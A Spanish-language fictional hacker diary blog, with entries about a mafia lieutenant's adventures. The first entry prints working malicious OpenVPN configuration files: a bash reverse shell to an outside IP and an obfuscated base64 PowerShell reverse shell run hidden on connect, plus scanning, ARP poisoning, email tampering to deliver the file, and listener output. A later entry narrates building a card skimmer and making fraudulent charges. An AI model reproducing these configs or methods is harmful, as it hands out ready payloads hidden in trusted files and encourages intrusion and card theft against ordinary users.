Viernes, 22 de Junio de 2018: Wiii, wiii, le parlevu frances

Querido Diario…

Ella era una fanática de ver películas en línea usando Netflix, y como toda usuaria promedio, contrataba servicios de VPN para poder salir con una dirección IP diferente y ver contenido de otros países. Cuando supe de ello montones de ideas se me vinieron a la cabeza.

La mayoría de las VPN’s se basan en servicios ofrecidos por OpenVPN, uno de los servicios de VPN más populares, que hasta yo lo uso.. coff.. coff.. aunque Isaac coff.. coff.. mis certificados siguen sin servir; pero supongo eso es parte de la seguridad 😛 darte un certificado inválido. Lo que bien es cierto es que para facilitar la conexión a este tipo de servicios por parte de personas que no saben mucho de modificar archivos de configuración; lo más sencillo es simplemente darles un archivo de configuración de OpenVPN listo para usarse, que incluso en OS X usando Tunnelblink es cosa de darle doble click y en automático queda todo configurado.

¿Eso es grave?… coff.. coff.. pues como dice Beto, “pues es que mire joven” 😛 [inserte aquí movimiento de manos contenante]

Los archivos de configuración en su forma más simple pueden ser así:

remote [IP remota]
ifconfig 10.200.0.2 10.200.0.1
dev tun

Hasta allí todo va bien. Te conectas a una dirección en internet, y esa te asigna un rango de forma interna. Y tú me dirás, ¿y eso qué o qué de qué o como?.

¿Qué pasa cuando te conectas a una VPN?, lo más básico, lo más sencillo… te da un mensaje de bienvenida. “Bienvenido… ahora puede descargar pornografía ilega… digo, torrents”. ¿Cómo es que se despliega ese mensaje?. Es una configuración dentro del mismo archivo de configuración para ejecutar una orden; ¿y qué más?.

Bueno, podríamos configurar cosas para que el equipo de alguien al conectarse haga algo, o prepare algo… como ¿una shell en reversa?

remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”

Obviamente esto sería en un servidor Linux, pero bueno, hackear Linux no es algo complicado. ¿Qué pasaría si es un servidor Windows? (siempre hay que estar preparado para todo), pues vale, con un poco de encodeo se puede resolver.

ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’

Querido Diario.. te pido perdón, pero Power Shell no es algo de lo que yo entienda mucho. Y ya que tenemos esto, estamos listos para poder realizar nuestro ataque. Ahora lo que necesitaba era hacerle llegar al “famoso” Cesar este archivo de configuración para tener acceso a sus archivos.

Empecé a analizar el comportamiento de Cesar siguiendo su celular, a través de unos mensajes que le había enviado y localizando las células en las que se conectaba su celular. Fue entonces que caí en cuenta de que constantemente se conectaba desde el iHop de Patio Universidad, ¿por qué?.. pues parece que a pesar de que es el súper lugar teniente de una mujer loca, turbia e ilegal y adinerada; no tiene suficiente dinero para comprar un plan de datos ilimitado y se anda conectado a la red del iHop.

Diablos, pensé… si hubiese sabido eso simplemente habría puesto una Pineapple y me habría ahorrado todo el show, pero en fin. Yo soy el gran vendetta, tengo que hacer algo de espectáculo para mantener entretenidos a los lectores de este H. blog. Así qué continue con mi plan inicial. Me senté conecté a la red de iHop. Una vez dentro escaneé los equipos que estaban conectados a la red para encontrar al de Cesar.

# nmap -vv -sV -O -Pn 192.169.254.0-254

No habíamos muchas personas conectadas a la red, probablemente los empleados y Cesar, ¿quién va a un iHop a cenar?. Ya dentro lo que hice fue confiar en el banner grabbing que me dio que había un Samsung S9 conectado; un teléfono bastante costoso que seguro puede pagar un lugarteniente de la mafia; y coff.. coff.. ¿Android?, pues si… es un lugarteniente chafa, ¿qué se podía esperar de alguien así? 😛

Ya que lo había identificado le lance un ARP poisoning, pero con el mero propósito de que le fallase la red, lo único que quería es que se pudiese en contacto con el proveedor de VPN. Y una vez que falló entonces mandó un correo electrónico para soporte técnico, al parecer no podía ver la Casa de Papel, lo cual me causo gracia; parece que Cesar es un fanático de otro tipo de criminales.

Cuando envío el correo lo intercepté y modifiqué con mi archivo de configuración de OpenVPN; él lo descargó y ejecutó desde su computadora, y en ese momento coff.. coff..

albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>

Mientras el estuvo conectado viendo la serie, y comiendo pan francés con fresas; yo descargué toda su información. Incluyendo las direcciones y relaciones de las casas de seguridad. Entonces, sólo faltaba hacerle una visita.

Caminamos sobre la calle a donde estaría la casa de seguridad más importante, vimos le Civic de Cesar estacionarse; como buen lugarteniente no traía guardaespaldas, apenas bajo y Beto le puso el arma en la cabeza.

- ¿Qué chin&/() - nos miró con odio y sorpresa
- Shhhh... - lo calló Beto - abre
- Estas loco, no te voy a abrir nada, dispara si tienes hue%&/
- Nah - interrumpí, no nos gusta matar sin sentido; somos civilizados... abre
- Tú ya estas muerto; ella te va a matar 
- ¿En serio?... ojalá, pero ... Cesarin, abre
- Nunca
- Ok, quieres ponerte rudo - saqué mi celular y simule que marcaba por teléfono - ¡Janey!, no quiere cooperar, es tiempo que le hagas un agujero a la pierna de Sonia

Sonia era la hija de Cesar. Regla número #43 de los negocios turbios e ilegales; todos tenemos un punto débil. En ese momento el semblante de Cesar cambió y empezó a llorar.

- No, déjala... ten honor
- Yo tengo mucho honor, pero mi amiga Janey no creo
- ¿Qué quieres?, entrar... no hay mucho; te va a matar después de eso... y a mi
- Y a Sonia... 
- Ella no sabe de Sonia
- ¿Cómo se lo ocutaste?
- Lleva años que no la veo, pero...
- Pero la extrañas y ves sus fotografías de instagram desde tu computadora
- Si
- Hum... ella no me importa; pero necesito algo para librarme de ella; y mantenerla alineada. Dame algo
- Vacía sus cuentas; ella sin dinero no es nada
- ¿Bitcoins?
- Si

Le hice una seña a Beto para que lo dejase…

- ¿Qué harás? - me preguntó
- Toma todo lo que hay en esa casa de seguridad y llévate a Sonia lejos de aquí
- Pero... 
- Se acabó Cesarín, después de lo que voy a hacer te va a querer matar. Huye mientras puedas.

Le mandé un mensaje y esperé a verle.

- Hola amor
- Hola
- Que milagro
- Te extraño amorcito - dije con un tono sarcastico
- Hum... yo también; ven a mi casa
- Vale

Maneje sobre todo Circuito Interior; está vez me sentía mucho más seguro, aunque muy hombrezuelo por lo que iba a hacer. Aparque fuera de su enorme casa.

- Hola bebe
- Hola - y fue directo a lo que quería

[Inserte aquí mensaje de censurado +18]

Se había quedado dormida… y entonces me acerqué a su celular. Ya me había aprendido el patrón de desbloqueo de su celular, entre a Bitso y en efecto, tenía activado el reconocimiento de rostro. Hice una transacción por $3000 bitcoins hacia la wallet de Mom.

Me vestí, y ella se despertó.

- No te he ordenado de que te vayas
- Lo siento, se me hace un poco tarde
- ¿Tarde para que?
- Debo ir a mi casa, mi perro no duerme si no llego
- Vuelve a la cama y hazme eso que es lo único para lo que sirves
- Lo siento, pero.. creo que ya no te tengo mucho miedo
- ¿Qué? - y empezó a gritar - ¡Cesar! . miro a todos lados y no apareció
- Lo siento, no eres tú, soy y.... no, si eres tú, son tus lonjas - y me salí de la habitación

Salió gritando ordenando que me detuviesen, pero al llegar a la primer puerta le mostré el celular con la aplicación de Bitso abierta y les dije:

- Se acabó, no tiene dinero para pagarles; y si me hacen algo en unos minutos llegarán tipos turbios e ilegales a sacarme vivo de aquí

Y entonces se hicieron a un lado.

Una semana más tarde estaba sentado frente al Sena, comiendo un macaroon the early grey, con pedacitos de hoja, delicioso.

- Entonces, volvimos a donde empezamos
- Si, pero... al menos ahora nuestra fama aumentó 
- Mala fama
- Fama es fama, no existe la mala fama
- Pásame tu wallet
- No, déjalo
- Negocios son negocios
- Exacto, nuestro acuerdo es te sirvo a cambio de vivir en Mexicali; eso no incluye extras
- Los has ganado
- Sólo hago mi trabajo
- Bien - llamó con a mano al mesero - ¿qué prefieres, un lambrusco?
- Nah, estamos en Francia... no en Italia; ¿tiene algo de Provenza?
- Oui monsieur, mais le coût... - Mom interrumpió
- Dijo Provenza, no preguntó cuanto cuesta... y nos trae otra canasta de macaroones. 
- Oui monsieur

Terminando regresé al hotel… que lujoso, pensé.

- Hola terrorista cibernético
- Hola Chun-lee
- Haha, ¿por? - le envié la foto que le tomé el día que comimos
- Te pasas ... ¿ya comiste quesos añejados y vinos?
- Vino.. y macaroones; ¿te gustó el concierto?
- Si, mucho... ¿ya tienes un nuevo empleo que no sea turbio ni ilegal?
- Aun no me ofertan, hasta mañana
- ¿Aceptaras?

 

Querido Diario…

“Quiero verte una vez más”…

Martes, 12 de Junio de 2018: El dulce sonido del dinero

Querido Diario…

Vivo en una ciudad extraña donde casi no se usan tarjetas de crédito, Apple Pay, Google Pay, Samsung Pay, PayPal, donde incluso los taxistas de Uber te cancelan el viaje cuando cuando tu forma de pago es en tarjeta o PayPal, porque prefieren ir a perder tiempo en hacer el deposito semanalmente de sus ganancias en lugar de hacer dos o tres viajes en ese periodo de tiempo. Realmente no entiendo porque alguien preferiría hacer eso, pero lo hacen.

Nunca me había molestado mucho, hasta el día de ayer; en el que se me presentó una crisis.

De la nada tenía que viajar a un cierto país caribeño; y necesitaba encontrar el primer vuelo que estuviese disponible. Casi el triple del costo normal, pero había un problema; un problema color café dientes filosos y estomago insaciable.

Debía de llevarle conmigo, sólo que debido a que era un viaje internacional necesitaba un certificado firmado de un veterinario. Ya era algo tarde. así que corrí a toda velocidad al primer sitio. Y, si, no aceptaban tarjeta. Así pasé por varios hasta que llegué a una veterinaria en donde si aceptaban.

Una vez que terminó la revisión, me dijeron el costo y di mi tarjeta. Pero oh, antes de cobrar me dijo el veterinario:

- ¡Ah!, pero si es pago con tarjeta con 16% extra de IVA
- ¿Por qué?
- Por el IVA
- Pero, ¿qué tiene que ver el IVA con que pague con tarjeta? - yo ya sabía la respuesta, pero estaba tan estresado que no podía creerlo
- Porque me cobran a mi el IVA si cobro con tarjeta
- No, le cobran una comisión; que de hecho usted no debiese de cobrarla a sus clientes. Y usted lo firmo cuando contrato su terminal. Si usted me esta cobrando el IVA quiere decir que usted no declara sus impuestos; pero al pagar con tarjeta se ve forzado a hacerlo. Eso se llama ser tranza
- Me insultando señor
- No, le estoy diciendo una verdad incómoda
- Bueno, indistintamente si viene a pagar con tarjeta es porque no tiene dinero
- No, si pago con tarjeta es porque soy civilizado. La tarjeta me genera beneficios, ahorra tiempo y me da un interés de retorno. El efectivo pierde valor a cada segundo
- Pues entonces ya no aceptaré pagos con tarjeta - empezaba a perder el tiempo la compostura frente a sus clientes - y que los muertos de hambre vayan a ver donde
- Ok, suena mal.

El veterinario no se dio cuenta que mientras decía eso dos personas se salieron de su consultorio. Supongo que también pagarían con tarjeta. Pero pensé que realmente el tipo necesitaba una lección. ¿Qué pasaría si todas las tarjetas de su establecimiento presentan cargos no autorizados provenientes de él?. Total, todos serían muertos de hambre.

Primero que nada, necesitaba una forma de cachar las transferencias para ver los datos de las tarjetas, pero con este calor. Iba a ser mortal estar cerca para pinchar la terminal. Así que porque no mejor hacer que mis oídos escuchasen el dulce oido del dinero.

Bueno querido diario, no sé si te haya dicho, que aunque no lo creas fui a la escuela. Y allí lleve algo de electrónica, además trabaje unas semanas en una empresa llamada Skyworks, donde me encargaba básicamente de testear circuitos de transmisión. Era un sitio feo, me encueraban cada que entraba y salía para verificar que no me fuese a robar el oro de los circuitos. No, no es broma.

Primero compré un ATtiny85 para reproducir archivos WAF. ¿Por qué?, porque como no podía pinchar la terminal por el calor, lo que iba a hacer era dejar el dispositivo, capturar todos los datos de tarjeta y robármelos; con una capacidad de robar hasta 250 mil números de tarjeta en un dispositivo.

Para eso me puse a pasar las ondas magnéticas de la banda de la tarjeta en audio: https://salmg.net/2017/01/06/how-to-transmit-mag-stripe-info-through-audio, para ello usé un paper publicado por un amigo llamado Salvador. Si, aunque ya todos usen chip, la banda magnética sigue allí.

Más adelante lo que hice fue armar todo, y ponerle una bobina para poder energizar el circuito.

Y finalmente, necesitaba una forma de poder usarlo… así que le dije a Dania Pelo de Algodón de Azúcar, que le invitaba el baño de su gato. Como puedes ver es muy pequeño, así que lo coloqué en el collar; y el gato estuvo desde el momento de la recepción, al baño, al secado y en la noche pasamos por él. Durante todo el día estuve cachando la información, que luego pasé a un TXT y bualá… no fueron 250 mil tarjetas, pero si cache 39 de clientes muertos de hambre que acudieron a la veterinaria, o pasaron cerca de ella con una tarjeta. Así que empecé a hacer cargos… una licencia premium de YouTubePorn por aquí, una licencia premium de PornoTwitter por acá y así… me gaste unos $10mil por tarjeta.

Obvio la gente pensará que soy mala persona, pero no.. ellos iban a levantar el reporte y se los regresaría. A todas esas personas, lo siento, pero grr… se que pasaron un mal día por mi culpa, pero no es justo que este tipo este robándole a todos nosotros al evadir impuestos. Y finalmente tenía algo preparado para el veterinario. Al parecer es alguien muy muerto de hambre, porque el crédito de su tarjeta era bastante bueno, y pues… yo llevaba tiempo que quería comprar algo, y no me animaba. Pero pues ahora tengo una tarjeta para hacerlo 😛

D: ups.. perdón… este, eso no era… ese fue un coff.. coff.. una compra que hice para despistar a los sistemas anti-fraude.

Y bueno… ahora sólo basta esperar a que las personas reclamen, investiguen y vean que todas las transacciones inválidas están relacionadas a una terminal localizada en esta veterinaria de Av. Macristy, que pues… eludía sus impuestos 😛

Querido Diario.. al final no conseguimos vuelo, y no viaje a ningún sitio. Y además, me cobraron el uso del gato con unos tacos que se llaman El Tasajo, que son muy raros, venían con una brocheta dentro.

Lunes, 11 de Junio de 2018: Turbios e ilegales

Querido Diario…

En realidad es menos tiempo… apenas poco más de un año en el que decidimos dejar una vida llena de futuro, proezas, buenas vidas, normales… y decidimos adentrarnos en el oscuro camino de la mafia. Buscando siempre aprovecharnos de los demás, sacar ventaja, rayar en la ilegalidad, desaparecer cuerpos; y todas esas cosas usuales.

Querido Diario… era eso o seguir siendo un montacarguista en la panadería del osito blanco 😛

Viernes, 8 de Junio de 2018: De barrio… pero fina

Querido Diario…

El día de ayer fuimos al Spa Canino para que la vacuna de Shellcode.

- Hola
- Hola chilango
- Ya le toca vacuna
- ¿No quiso bajar? - preguntó la muchacha
- No, ya ves que apenas huele aquí y le entra el miedo... algo me dice que tu no eres buena persona
- ¡Calla!, vamos por ella

Salimos hacía la calle y apenas Shellcode la vio se hizo bolita en la parte trasera del coche y no quería salir. Yo creo que los perros se traumatizan con ciertos lugares. Saben que allí algo malo les va a pasar.

Por más que ella intentó no la puedo sacar, y al final yo tuve que sacarla terminando todo rasguñado.

- Hola terrorista cibernético
- Hola señorita de pelo de algodón de azucar
- ¿Por qué tu perrita no se mueve de allí? - preguntó señalando a Shellcode que seguía arriba del coche sin querer moverse
- No le gusta pisar la tierra, supongo que siente que se ensucia
- ¿Qué clase de perro no le gusta jugar en la tierra?
- A ella
- Que rara
- Somos citadinos

Querido Diario…

La señorita de pelo con forma de cupcake me dijo algo raro, en dos años de conocerme, jamás me ha visto sonreír, o no lo recuerda.

Miércoles, 5 de Junio de 2018: Gastos prioritarios

Querido Diario…

El día de hoy Mom y yo hemos estado revisando mis facturas, dice que a veces no gasto nada, otras veces poco pero que siempre tengo gastos muy raros.

- ¿Y tus facturas de Perú?
- Hum.. pues, este... no creo que a donde fui alcance para facturar
- ¿Por?
- ¿Recuerdas el restaurante donde nos llevó Cristían?
- Ahhh.. no pues, no. ¿Y esto?
- Ahhh cambié mi boleto a primera clase, ya sabes; me gusta espacio para estirarme y retozar
- Ok, si es que luego los asientos normales están chiquitos; está bien ir cómodo - y explotó - ¿y esto?... "Aeroméxico, mascota a bordo, spa y tratamiento especial para su mascota con shampoo de banana tropical"
- Esta bueno, te lo recomiendo
- ¿Cómo que banana tropical?
- Si es como olor a plátano, pero más tropical
- ¡Eh!
- ¿No? - creo que no entendió mucho la necesidad del spa canino - ouuuuu

Querido Diario… Mom no entiende lo importante que es que tu mascota huela rico.

 

Jueves, 31 de Mayo de 2018: ¿Manipulación?

Querido Diario…

Hay muchas teorías de conspiración, hay muchos posts que salieron a raíz de la corrección y caída que dejaron en ruina a mucha gente; y como siempre muchas notas sobre que es una burbuja.

Eso es difícil de poder determinar, pero a un nivel de análisis técnico:

¿Dónde queda el ciclo del precio?, ¿acumulación, tendencia, blah, blah?.. ¿quieres ganar dinero?, programa un bot en Python usando el API de Bitso y ponte a operar en cada meseta y valle y listo; en un día con un capital de $5000 MX, gané $300 MX en un intradía de 7am a 3pm, no es mucho, pero si lo vemos en porcentaje nos da una idea de que aquí hay algo raro.

De hecho tenía un zoom a un día, pero se me borró y parecía un pulso de un LM555.

Incluso comparandolo con otras criptodivisas no se ve el mismo comportamiento…

¿Manipulación?

Querido Diario…

Lunes, 28 de Mayo de 2018: ¿Por qué Mom está tan feliz?

Querido Diario…

¿Cuantas veces has visto un helicóptero en Mexicali?; exacto.

- Joven, te van a matar - me dijo Lalo mientras me daba un golpecito en el hombro

- Hum... si, creo que si. Fue un placer trabajar contigo - le mire sonriendo; ambos sabemos que implicaba eso

- Te voy a extrañar, y no sabes cuanto. Demonios, pensé que me casaría y tendría una vida feliz y ahora tendré que volver a ser turbio e ilegal

- Nunca dejaste de serlo

- Pues no, pero ya no lo era como tú y ahora tengo que cuidar el changarro de nuevo

- ¿Tardará mucho? - interrumpió Janey aun en pijama

- Hum... no sé, ni siquiera sé donde haya un helipuerto

- ¿Pero sabe donde vives?

- Supongo, siempre lo sabe todo

Esperamos una media hora, mientras nos bañábamos, cambiábamos y entonces desde la terraza vi como se estacionó una camioneta gris con vidrios polarizados; y por la curvita de las llantas; sabía estaba blindada.

- Blindaje número 6; es el que le gusta

- ¿Qué significa?

- Que si anda parando un basukazo - dijo Lalo - ¿quieres que digamos algo a tu favor?

- Nah... un verdadero macho acepta su destino - y baje para abrir la puerta

- Oh Dios.. allí va un gran sujeto, lástima que es un traidor; sino los dioses tal vez le habrían dado espacio en el Anahuac.

Abrí la puerta, y le vi; siempre de traje azul, pasó y por un momento pensé recibiría un tiro; pero luego recapacité y; quienes me lo habrían dado estaban frente a mi.

- ¿Qué onda?

- Hola

- ¿Esto es Mexicali?

- Si

- Está cabr%& ¿no?

- Jugoso

- Y acá estas en un congelador, no mam%&/ - miró a su alrededor - ¿y ustedes que hacen aquí?

- Ahhh - no sabían que responder

- Me salvaron

- ¿En serio?

- Si, Karen volcó una camioneta y todo el asunto

- Excelente - nuevamente me miró a mi - ¿me invitas un omelette?

Mientras estaba en la cocina preparando omelettes para todos, y Janey me ayudaba a picar las verduras y deshebrar el queso; escuchaba una y otra vez como Mom le decía a ellos “no ma%&/ pero no mam$%& en serio este es el mejor omelette del mundo”.

Lalo entró a la cocina después de un rato.

- Tal vez no te mate, puede que te vuelva su sirvienta; creo que le gusta como cocinas

- Yo no me comería algo tuyo - dijo Janey - me muero

- Nah... este joven tiene experiencias raras; de montacarguista terminó siendo lugarteniente de la mafia; yo creo que si debe de saber que ped$%&

No dije nada, no podía expresar nada. Le di a Lalo agua caliente y un colador de té "fancy" que me regaló Dania Pelo Morado,  y se volvió a ir al comedor, donde estaban Beto, Luis y... Mom.

Esto era realmente incómodo, estaba preparando el desayuno a unos minutos de mi muerte. Incluso mientras miraba hacia el patio empecé a imaginar como escapar; podía correr hasta el patio trasero encender el coche y romper la reja. Salir manejando a toda velocidad; seguro una camioneta blindada jamás me alcanzaría. En cuanto tuviese internet movería todo mi dinero a cripto y entonces viviría como un hippie siendo un montacarguista.

Ouuu… tuve un flashback de mi comiendo mucha avena en un cuartito de 2m por 3m y yo durmiendo en el suelo usando mi sudadera como almohada. Tal vez la muerte no era tan mala idea.

Terminé los omelettes, hice unos caramelos de queso y agregué un toqué de pimiento; adoró el sabor del pimiento; siempre es como muy fresco, le da un sabor fresco a la comida; y a los caramelos de queso un poco de salsa inglesa. Les serví a todos jugo de naranja y le puse un toquecito de agua mineral.

- Pues, comamos

- ¡No mam$%&, no mam$%&! - se empezó a poner rojo, ¿ahora si lo abre envenenado?... ¡ay ya valió! - te lo dije Candia, te lo dije

- Psss... psss si se rifa

- Güe$%& ¿qué ped$%&?, ¿dónde aprendiste a cocinar? - Janey sonreía mientras masticaba

- Sabe bueno, pero yo creo que la neta me va a dar chorro; no sé por qué - dijo Luis

- Tienes mala suerte, pero bueno creo que Belindo tiene futuro si pone una fondita - le respondió Beto

- ¿Cómo es que aprendiste a cocinar? - preguntó Beto ya más seriamente

- Hum.. leyendo y en vídeos; he pasado una mala vida, así que creo que la comida es la última cosa alegre que me queda. Es la forma en que puedo mostrarle a los demás mi aprecio y, cuando me siento sólo preparo algo y recuerdo que alguna vez fui feliz

- Pero eres turbio e ilegal

